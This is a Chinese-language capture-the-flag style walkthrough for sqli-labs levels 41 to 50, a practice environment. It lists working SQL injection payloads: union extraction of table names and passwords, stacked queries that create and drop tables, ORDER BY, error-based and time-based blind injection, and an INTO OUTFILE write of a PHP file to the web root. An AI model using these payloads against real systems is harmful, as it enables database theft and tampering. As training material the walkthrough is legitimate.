sqli-labs通关教程----41~50关
第四十一关
这关没有闭合符而且不报错,只能是否有回显来判断正误
爆表名:
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆内容:
?id=0 union select 1,2,group_concat(password) from users --+
同样也可以堆叠注入
?id=1;create table test like emails;--+
第四十二关
这关又是熟悉的post,思路也是一样,但是这关的username输入有mysqli_real_escape_string函数管着,所以注入点在password
添加表tesst
login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
删除表tesst
login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
第四十三关
这关就是闭合换成了'),其他一样
添加表tesst
login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
第四十四关
和四十二关一样,就是没有错误回显了
删除表tesst
login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
第四十五关
和四十三关闭合一样,然后没回显
创建test45表
login_user=admin1&login_password=admin1';create table test45(id INT,name varchar(100)) %23; &mysubmit=Login
第四十六关
这关又有新东西,利用order by来注入
后台语句是这样的
$sql = "SELECT * FROM users ORDER BY $id";
?sort=1 desc
?sort=1 asc
显示结果不同,说明可以注入
desc是 descend 降序意思
asc 是 ascend 升序意思
可利用 order by 后的一些参数进行注入
order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
?sort=right(version(),1)
?sort=left(version(),1)
没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数
1.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
?sort=rand(true)
?sort=rand(false)
结果是不一样的
例子
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
对应上面的true和false,查看结果
可以进行布尔盲注
2.利用 and,例如 ?sort=1 and (加 sql 语句)。
同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
例子
报错注入
?sort=1 and updatexml(1,concat(0x7e,database()),0) --+
时间注入
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
异或布尔盲注
关于异或注入看这篇文章
https://www.anquanke.com/post/id/160584
异或运算规则:
1^1=0 0^0=0 0^1=1 1^1^1=0 1^1^0=0
id ^(select(select version()) regexp '^5')
也可以程序分析参数后注入
?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
将查询结果导出到文件
?sort=1 into outfile 'C:\\phpStudy\\WWW\\sql\\Less-46\\123.php'
3.直接添加注入语句,?sort=(select ---)
?sort=right(version(),1)
第四十七关
这关闭合变成单引号。
获得数据库版本
?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
第四十八关
这关是数字型盲注,没有报错回显。
时间注入
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
第四十九关
这关是字符型盲注,没有报错回显。
?sort=1' and If(ascii(substr(database(),1,1))=116,sleep(3),0)--+
第五十关
这关还是之前的堆叠注入
创建less50表
?sort=1;create table less50 like users;--+
参考文档:
https://blog.csdn.net/Kevinhanser/article/details/81563461
最新文章
- Apache漏洞修复
- C# 获取本机指定类型指定网卡的Ip地址
- jQuery 滚动条 滚动到底部(下拉到底部) 加载数据(触发事件、处理逻辑)、分页加载数据
- 用Qt写软件系列五:一个安全防护软件的制作(3)
- mysql使用基础 sql语句(一)
- Nodejs异步异常处理domain
- 转载 《AngularJS》5个实例详解Directive(指令)机制
- .NET加密配置文件connectionStrings节点
- poj 1564 Sum It Up【dfs+去重】
- 文件搜索查找功能VC++
- Centos下安装git的web服务器
- hashTabel List 和 dic
- Python中应该使用%还是format来格式化字符串?
- 《用Python写爬虫》学习笔记(一)
- 多任务fork、multiprocessing、进程池、进程间通信-Queue
- Unity PRO 2018.3.3f1 for MAC+完美pojie补丁!!!
- PDF阅读器中如何改变线条颜色、线宽和线型等
- href=#与href=javascript:void(0)的区别
- [Hinton] Neural Networks for Machine Learning - Converage
- Android Camera2 Opengles2.0 实时滤镜(冷暖色/放大镜/模糊/美颜)
热门文章
- IDEA2019.3激活使用
- OpenCV-Python 特征匹配 | 四十四
- OpenCV-Python 哈里斯角检测 | 三十七
- FastAI 简介
- OpenCV-Python 形态学转换 | 十七
- 一个完整的机器学习项目在Python中的演练(二)
- Mysql性能优化:如何给字符串加索引?
- Kubernets中获取客户端真实IP总结
- Codeforces Round #565 (Div. 3)--D. Recover it!--思维+欧拉筛
- 记一次JAVA进程导致Kubernetes节点CPU飙高的排查与解决